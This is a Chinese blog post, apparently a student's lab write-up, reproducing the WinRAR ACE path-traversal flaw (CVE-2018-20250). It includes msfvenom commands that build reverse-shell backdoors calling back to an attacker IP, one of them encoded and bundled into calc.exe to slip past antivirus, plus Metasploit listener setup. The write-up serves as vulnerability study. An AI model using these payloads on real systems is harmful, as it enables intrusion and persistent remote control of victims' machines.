漏洞介绍

WinRAR 是一款流行的解压缩工具,据其官网上发布的数据,全球有超过5亿的用户在使用

2019年2月20日,安全厂商 checkpoint 发布了名为《Extracting a 19 Year old code Execution from WinRAR》的文章,文章披露了一个存在于 winRAR 中用于 ace 文件解析的 DLL 模块中的绝对路径穿越漏洞,可导致远程代码执行。

漏洞类型:代码执行

漏洞利用条件:将压缩包解压到当前文件夹,同时释放恶意文件到指定目录,重启机器便会触发漏洞(解压到自启动目录 or 解压dll文件进行劫持)

受影响版本:WinRAR 5.7 之前含有UNACEV2.dll模块的压缩程序

产生原因:ace处理相关的DLL在对解压目标的相对路径进行解析时,CleanPath函数过滤不严导致

修复方案:升级到winrar5.7.1、

漏洞复现

环境准备:

吾爱破解上找的winrar 5.60版本

靶机:192.168.41.129

简体中文64位:http://www.win-rar.com/fileadmin/winrar-versions/sc20180711/wrr/winrar-x64-560sc.exe
简体中文32位:http://www.win-rar.com/fileadmin/winrar-versions/sc20180711/wrr/wrar560sc.exe

新版的winrar 5.71中不存在UNACEV2.dll

靶机下载的winrar5.60存在UNACEV2.dll模块

MSF生成后门

生成一个简单后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.41.130 -f exe -o shell.exe

刚传到本机,就被火绒杀了。可想而知现在用msf后门是有多方便,但也需要技术门槛,免杀的套路才行了。

MSF结合exp(msf命令错误示范)

替换exp.py中的exe

需python3.7 运行exp.py

遇到个坑,注意这里的命令,py2和py3兼容的,不能用python3 ./exp.py来运行

kali:

msf设置监听

use exploit/multi/handler
set windows/x64/meterpreter/reverse_tcp
set LHOST

靶机:

解压到当前文件夹

重启触发exlpoit

win7上重启后,会提示一个操作,无法执行,如果直接关闭,那就直接died了。没有截图。重来一遍

再次替换后发现,执行exe的过程是放入开机的启动项中。所以才需要重启才能触发hi.exe即后门

无法重现,恢复快照尝试。应该是我之前直接ctrl+z,应该用ctrl+c中断监听,ctrl+z直接退出msfconsole,监听仍然存在。所以新开的收不到session。需要kill之前中断的msfconsole进程。

才能收到session

这台win7 sp1用来测试CVE20190708获取session失败,换一个win10试试(临时下载iso,安装程序,看会儿小甲鱼吧)

晚上了都,win10就绪,恢复下被杀的后门

复现失败。最后发现了问题,好像是我msf的问题。哎,气死了。打扰了。~~~~~~~~~~~~我payload设置错了。

我默认设置了payload windows/x64/meterpreter/reverse_tcp。应该设置为windows/meterpreter/reverse_tcp

正确MSF结合exp

winrar解压到当前文件夹释放恶意文件。重启电脑触发自启动后门

复现成功,之前的时间都浪费了呀。

既然这样就来玩一下捆绑的编码过的exe吧,记忆,掌握下msf的命令

编码21次、捆绑正常的32位calc.exe,生成32位的yunying.exe文件

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -i  lhost=192.168.41.130 lport= -x calc.exe -f exe -o yunying.exe

用火绒和QQ安全管家扫描,都是安全的。不像裸着的exe,放上来就被杀了。但是只要点击后,连接一样是直接被杀的。0-0。只有免杀才能逃过连接过程中的shellcode释放。编码只能绕过表面上的特征扫描。

开启msfconsole监听

64位的win7提示失败,但在本机却可以运行

win10测试

msf收不到session,没有反应,看别人也是有这样的payload同样收不到会话。0-0。

下次继续尝试把。先美化下kali的界面。颜控+1

https://www.jianshu.com/p/5bee0470eb89

尝试Wing学长的gnome-tweak-tool命令,在kali中找不到,不同版本命令不一样。解决方法=>gnome-tweaks

发现了figlet这样好玩的东西

showfigfonts 查看存有的字体

figlet -f bubble yunying  -f指定要使用的字体

超级喜欢这个设计,自己的kali搞不出来。换个桌面美化就好了

明天去玩下CobaltStrike看看

WinRAR代码执行漏洞复现的更多相关文章

  1. WinRAR 代码执行漏洞复现

    影响版本: WinRAR < 5.70 Beta 1 Bandizip    < = 6.2.0.0 好压(2345压缩)    < = 5.9.8.10907 360压缩    & ...

  2. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

  3. Windows CVE-2019-0708 远程桌面代码执行漏洞复现

    Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...

  4. DedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221)

    dedeCMS  V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221) 一.漏洞描述 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统.Dedecms V5.7 SP2 ...

  5. IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现

    CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...

  6. IIS6远程代码执行漏洞复现CVE-2017-7269

    简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...

  7. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  8. Apache log4j2 远程代码执行漏洞复现👻

    Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...

  9. WinRAR代码执行漏洞CVE-2018-20250

    0x01 分析思路 利用https://github.com/googleprojectzero/winafl 漏洞分析框架模糊测试WinRAR. 几个存档格式的崩溃,例如RAR,LZH和ACE,这些 ...

随机推荐

  1. Leetcode——回溯法常考算法整理

    Leetcode--回溯法常考算法整理 Preface Leetcode--回溯法常考算法整理 Definition Why & When to Use Backtrakcing How to ...

  2. 决战Leetcode: easy part(51-96)

    本博客是个人原创的针对leetcode上的problem的解法,所有solution都基本通过了leetcode的官方Judging,个别未通过的例外情况会在相应部分作特别说明. 欢迎互相交流! em ...

  3. SSH免密配置

    1. 在三个节点生成秘钥cd ~/.sshssh-keygen -t rsa 2.合并三个节点的密码cat id_rsa.pub >> authorized_keysssh postgre ...

  4. qt creator源码全方面分析(3-6)

    目录 qtcreatorplugin.pri 使用实例 上半部 下半部 结果 qtcreatorplugin.pri 上一节我们介绍了qtcreatorlibrary.pri,现在我们介绍qtcrea ...

  5. [讲解]prim算法<最小生成树>

    最小生成树的方法一般比较常用的就是kruskal和prim算法 一个是按边从小到大加,一个是按点从小到大加,两个方法都是比较常用的,都不是很难... kruskal算法在本文里我就不讲了,本文的重点是 ...

  6. 看完这篇Exception 和 Error,和面试官扯皮就没问题了

    在 Java 中的基本理念是 结构不佳的代码不能运行,发现错误的理想时期是在编译期间,因为你不用运行程序,只是凭借着对 Java 基本理念的理解就能发现问题.但是编译期并不能找出所有的问题,有一些 N ...

  7. Gin框架系列02:路由与参数

    回顾 上一节我们用Gin框架快速搭建了一个GET请求的接口,今天来学习路由和参数的获取. 请求动词 熟悉RESTful的同学应该知道,RESTful是网络应用程序的一种设计风格和开发方式,每一个URI ...

  8. 实验十--- MySQL过程式数据库对象

    实验十 MySQL过程式数据库对象 一.  实验内容: 1. 存储过程的创建和调用 2. 存储函数的创建和调用 3. 触发器的创建和触发 4. 事件的创建和修改 一.  实验项目:员工管理数据库 用于 ...

  9. 3.26java作业

    1.编写程序, 输入变量x的值,如果是1,输出x=1,如果是5,输出x=5,如果是 10,输出 x=10,除了以上几个值,都输出x=none.(知识点:if条件语句) package fda; imp ...

  10. Ubuntu16.04默认Python3.5升级Python3.6踩坑

    好久没更新博客了,每天还是踩坑中.今天遇到第一个问题“ImportError: No module named 'secrets'”,导包是常见问题.这次的问题导致我又重装了一次环境,不过这是一个新服 ...